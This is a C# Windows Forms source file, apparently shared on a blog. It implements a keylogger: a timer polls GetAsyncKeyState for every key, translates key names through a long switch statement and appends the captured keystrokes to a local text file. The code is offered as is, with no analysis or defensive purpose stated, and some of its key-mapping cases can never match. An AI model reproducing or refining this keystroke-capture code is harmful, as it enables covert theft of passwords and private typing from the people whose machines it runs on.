using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace keytest1
{
public partial class Form1 : Form
{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vkey);
public Form1()
{
InitializeComponent();
timer1.Start();
}
string text = "";
bool capslock, numlock;
private void timer1_Tick(object sender, EventArgs e)
{
capslock = Console.CapsLock;
numlock = Console.NumberLock;
if (capslock == true)
{
//button1.Text = "On";
}
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
{
buffer += Enum.GetName(typeof(Keys), i);
if (capslock == true)
{
buffer = buffer.ToUpper();
}
else
buffer = buffer.ToLower();
switch (buffer)
{
case "LButton":
buffer = " ";
break;
case "Delete":
buffer = " ";
break;
case "RButton":
buffer = " ";
break;
case "Space ":
buffer = " ";
break;
case "space":
case "SPACE":
buffer = " ";
break;
case "capslock":
case "CAPSLOCK":
buffer = " ";
break;
// shiftkeylshiftkey
case "enter":
case "ENTER":
buffer = (Environment.NewLine);
break;
case "LBUTTON":
case "lbutton":
buffer = "";
break;
case "OemPeriod":
case "OEMPERIOD":
case "oemperiod":
buffer = ".";
break;
case "LMenu":
case "lemnu":
case "LMENU":
buffer = "ALT ";
break;
case "Back":
buffer = " ";
break;
case "Oem7":
buffer = "'";
break;
case "down":
buffer = " D ";
break;
case "up":
buffer = " U ";
break;
case "right":
buffer = " R ";
break;
case "left":
buffer = " L ";
break;
case "back":
buffer = " B ";
break;
case "Oemcomma":
buffer = ",";
break;
case "Capital":
buffer = "CAPITAL ";
break;
case "Tab":
buffer = "TAB ";
break;
case "OemQuestion":
buffer = "?";
break;
case "Oem1":
buffer = ";";
break;
case "Oem5":
buffer = "\\";
break;
case "Oem6":
buffer = "]";
break;
case "OemOpenBrackets":
buffer = "[";
break;
case "OemMinus":
buffer = "-";
break;
case "Oemplus":
buffer = "+";
break;
/*case Keys.Down:
sw.Write("DownArrow-");
break;
case Keys.Left:
sw.Write("Left Arrow-");
break;
case Keys.Right:
sw.Write("Righr Arrow-");
break;
case Keys.Up:
sw.Write("Up Arrow-");
break;*/
case "D0":
case "d0":
buffer = "0";
break;
case "D1":
case "d1":
buffer = "1";
break;
case "D2":
case "d2":
buffer = "2";
break;
case "D3":
case "d3":
buffer = "3";
break;
case "D4":
case "d4":
buffer = "4";
break;
case "D5":
case "d5":
buffer = "5";
break;
case "D6":
case "d6":
buffer = "6";
break;
case "D7":
case "d7":
buffer = "7";
break;
case "D8":
case "d8":
buffer = "8";
break;
case "D9":
case "d9":
buffer = "9";
break;
case "OemPipe":
buffer = "|";
break;
case "rshiftkey":
case "RShiftKey":
case "RSHIFTKEY":
buffer = "";
break;
case "LSHIFTKEY":
case "Lshiftkey":
case "lshiftkey":
buffer = "";
break;
case "LCONTROLKEY":
case "lcontrolkey":
buffer = "";
break;
case "RCONTROLKEY":
case "rcontrolkey":
buffer = "";
break;
case "OemSemicolon":
buffer = ";";
break;
case "DELETE":
case "delete":
buffer = "";
break;
//case "DELETE":
//case "delete":
// buffer = "";
//break;
}
}
}
text +=buffer;
if (text.Length > 10)
{
writeTotext(text);
text = "";
}
}
private void writeTotext(string value)
{
StreamWriter stram = new StreamWriter("Pokus.txt", true);
stram.Write(value);
stram.Close();
}
}
}
沒有留言:
張貼留言